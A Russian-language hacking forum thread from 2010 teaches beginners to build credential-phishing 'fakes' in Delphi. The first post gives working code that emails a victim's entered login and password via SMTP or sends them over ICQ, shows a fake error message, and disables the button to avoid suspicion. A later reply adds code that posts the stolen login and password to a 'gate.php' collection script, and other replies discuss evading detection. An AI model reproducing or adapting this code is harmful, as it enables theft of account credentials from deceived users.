FAQ/Фейк на дельфи своими руками

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by DJ4J, 28 Feb 2010.

  1. DJ4J

    DJ4J Member

    Joined:
    23 Aug 2009
    Messages:
    0
    Likes Received:
    53
    Reputations:
    1
    Фейк на дельфи своими руками
    Недавно стал изучать дельфи,получилось написать пару фейков.
    Статей на эту тему не увидел,на все что наткнулся было PHP
    Что нам нужно
    Indy Если хотим слать на мыло
    TICQClient Если хотим слать на ICQ
    Сильно не пинать,моя первая статья и полностью рассчитана для новичков.

    На мыло

    Кидаем батон,2 эдита,и
    из инди
    IdMessage
    IdSMTP
    IdAntiFreeze

    На кнопку прописываем код



    IdSMTP1.Host:=('smtp.yandex.ru') ;//smtp сервер мыла.В данном примере для яндекса
    IdSMTP1.port:=25 ;//порт
    IdSMTP1.Username:=('Username') ;//Имя пользователя
    IdSMTP1.password:=('Password') ;//Пароль
    IdMessage1.Body.Text:=(Edit1.text+';'+edit2.text);//Шлем данные из Edit1.text и edit2.text через ; ,пользователя нужно заставить их заполнить.
    IdMessage1.from.text:=('[email protected]');//От кого шлем
    IdMessage1.Recipients.Emailaddresses:=('[email protected]'); //кому шлем
    IdMessage1.Subject:='Fake' ;//тема письма
    IdSMTP1.connect ;//соединяемся
    IdSMTP1.Send(idmessage1);//шлем
    IdSMTP1.disconnect ;//Разъединяемся.
    Для большей правдоподобности можно добавить
    MessageBox(handle, PChar('Ваш текст'),PChar('Ждите'), MB_OK);//тут можем написать что сервер не доступен и т.п.


    На Аську



    ну тут все проще
    Кидаем батон,2 эдита,и
    ICQClient1
    из вкладки Samples


    На кнопку

    ICQClient1.UIN:=strtoint(Uin); // UIN
    ICQClient1.Password:= Password; // Пароль
    ICQClient1.Login();//Логинимся
    Sleep (10000);//ждем когда залогинится
    ICQClient1.SendMessage(StrToInt('IcqNumber'), );//куда и что шлем



    Чтобы жертва не тарабанила по кнопке,можно прописать в конце
    Button1.Enabled:=False;
    Это должно отключить кнопку
    ну и до этого опять добавит какое нибудь сообщение,как это сделать смотрим выше.
     
    2 people like this.
  2. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Оформил бы все красиво.
    И где отправка на гейт?
     
  3. НTL

    НTL Elder - Старейшина

    Joined:
    26 Jan 2008
    Messages:
    715
    Likes Received:
    205
    Reputations:
    -26
    Зачем ждать 10 сек, если есть событие при подключение

    Дополни отправкой на гейт,
    +отправка файлов на гейт
    И все это по сокету
     
  4. gibson

    gibson Elder - Старейшина

    Joined:
    24 Feb 2006
    Messages:
    391
    Likes Received:
    247
    Reputations:
    88
    Спустил в разде кодинга. В след раз удалю.
     
  5. Goodwin_

    Goodwin_ Elder - Старейшина

    Joined:
    29 May 2008
    Messages:
    61
    Likes Received:
    6
    Reputations:
    0
    а если у жертвы стоит фаерволл? где обход фаерволла?!?!?!?!71адин
     
  6. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    быдлокодинг.
    неужели нет событий?

    мне печально на такое смотреть. фейки...
     
    #6 W!z@rD, 28 Feb 2010
    Last edited: 28 Feb 2010
  7. Sokolik

    Sokolik Banned

    Joined:
    5 Mar 2009
    Messages:
    4
    Likes Received:
    1
    Reputations:
    0
    Я ничего не имею против ТС, но фейки которы шлют отчеты на мыло и Ацку не актуальны.

    1. Чтобы посмотреть 1 отчет нужно открыть письмо... А если 1000 отчетов? Можно конечно это дело автоматизировать, но есть более простые варианты реализации.

    2. Если впаривать фейк который работает по ICQ протоколу, то возникает несколько проблем. Если уже фейк запущен у жертвы, то от другой жертвы уже отчет не придет. Если массово впарить фейк, то при коннекте дисконекте нум получит блок на N-ый промежуток времени.

    Вывод слать отчеты на гейт и не париться!
    Желательно через шлюз, т.е. шлюз принял отчет и переслал в БД, это на тот случай если фейк заснифают...
     
  8. WyBie

    WyBie New Member

    Joined:
    27 Feb 2010
    Messages:
    22
    Likes Received:
    1
    Reputations:
    0
    Если у кого то приходит вместо текста ?????????
    то добавте этот код

    IdMessage1.CharSet:='windows-1251';
     
  9. sanya111

    sanya111 Member

    Joined:
    17 May 2009
    Messages:
    0
    Likes Received:
    93
    Reputations:
    2
    Для того того что бы отчёты на аську слать, нужно еще установить компонент ICQClient
    Скачать его можно здесь (пост 22).
     
  10. Seravin

    Seravin Active Member

    Joined:
    25 Nov 2009
    Messages:
    475
    Likes Received:
    190
    Reputations:
    221
    по моeму лучшe в дaнном случae нe инди использовaть, a synapse, мeнee гeморойно. И по моему если ты накидаешь столько компонентов то у тебя будет мегавесомая программа
     
  11. BELbIY

    BELbIY Banned

    Joined:
    14 Aug 2009
    Messages:
    0
    Likes Received:
    47
    Reputations:
    -1
    Помогите пожалуйста установить Indy.
     
  12. Zigo

    Zigo New Member

    Joined:
    27 Jun 2010
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0

    Всем привет)Я в етой теме вообще полный 0....Кто может меня научить делать фейки напишыте в личку)Буду очень благодарен)и в долгу не останусь. :)
     
  13. Refqs

    Refqs Banned

    Joined:
    20 Feb 2010
    Messages:
    139
    Likes Received:
    56
    Reputations:
    27
    http://vkontakte.ru/note24116556_9836188
    почитай тут, там заодно и ссыль на актуал версию индюка :)))
     
  14. dos999

    dos999 Elder - Старейшина

    Joined:
    15 Feb 2008
    Messages:
    137
    Likes Received:
    24
    Reputations:
    0
    На гейт (на скрипт)

    Кидаем батон,2 эдита,и
    IdHTTP1
    из вкладки IndyClients
    в uses добавляем IdMultipartFormData

    На кнопку
    Code:
     
    
    var
      LPostStream: TIdMultiPartFormDataStream;
      LResultString: String;
    begin
      LPostStream := TIdMultiPartFormDataStream.Create;
      try
        LPostStream.AddFormField('login', Edit1.text); //пихаем в параметр логин
        LPostStream.AddFormField('pass', Edit2.text);//пихаем в параметр пароль
        try
          LResultString := IdHTTP.Post('http://www.myhost.ru/gate.php', LPostStream);
    {LResultString - ответ сервера, если он вам нужен}
        except 
        end;
      finally
        LPostStream.Free;
      end;
    end;
    

    А вообще если уж решили писать фейк на дельфи то Indy не используйте... какой там фаервол, индейцы и без него иной раз отправить немогут, например когда инет работает через прокси.
     
    #14 dos999, 2 Jul 2010
    Last edited: 2 Jul 2010
  15. Refqs

    Refqs Banned

    Joined:
    20 Feb 2010
    Messages:
    139
    Likes Received:
    56
    Reputations:
    27
    да даже TWebBrowser можно юзать, вообще что угодно =)
     
  16. Romik001

    Romik001 Member

    Joined:
    18 Jul 2009
    Messages:
    43
    Likes Received:
    8
    Reputations:
    10
    как сделать фэйк на делфи исходник фэйк вконтакте

    для гугла пойдет )) надо было добавить в заголовок: исходники фэйка как сделать фэйк на делфи
     
    #16 Romik001, 2 Jul 2010
    Last edited: 3 Jul 2010